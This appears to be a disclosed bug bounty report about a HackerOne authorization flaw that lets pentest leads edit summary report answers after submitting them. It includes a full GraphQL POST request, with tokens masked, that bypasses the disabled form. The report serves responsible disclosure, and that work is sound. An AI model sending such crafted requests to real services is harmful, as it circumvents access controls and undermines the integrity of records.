Editing Pentest Summary Report Answers After Submitting Them

How it was found

Summary:

Pentest leads should not be able to edit pentest summary report answers after submitting them.

Steps To Reproduce:

1. After submitting the pentest summary report, try to edit it:

{F1246327}

You can't. The form is disabled.

2. Use the HTTP Request below (update X-Auth-Token, Cookie and the pentestFormAnswerId):

POST /graphql HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: pt-BR,en-US;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://hackerone.com/******************************************************************
content-type: application/json
X-Auth-Token: ******************************************************************
Content-Length: 1498
Origin: https://hackerone.com
DNT: 1
Connection: close
Cookie: ******************************************************************

{"operationName":"UpdatePentestFormAnswer","variables":{"pentestFormAnswerId":"******************************************************************","content":"Blah blah blah"},"query":"mutation UpdatePentestFormAnswer($pentestFormAnswerId: ID!, $content: String!) {\n  updatePentestFormAnswer(input: {pentest_form_answer_id: $pentestFormAnswerId, content: $content}) {\n    was_successful\n    pentest_form_answer {\n      id\n      content\n      __typename\n    }\n    __typename\n  }\n}\n"}

The pentest summary report will be edited.

{F1246329}

Recommendation:

Show an error instead of allowing the modification of pentest summary report answers.

Impact

A pentest lead can modify the pentest summary report answers after submitting them to review.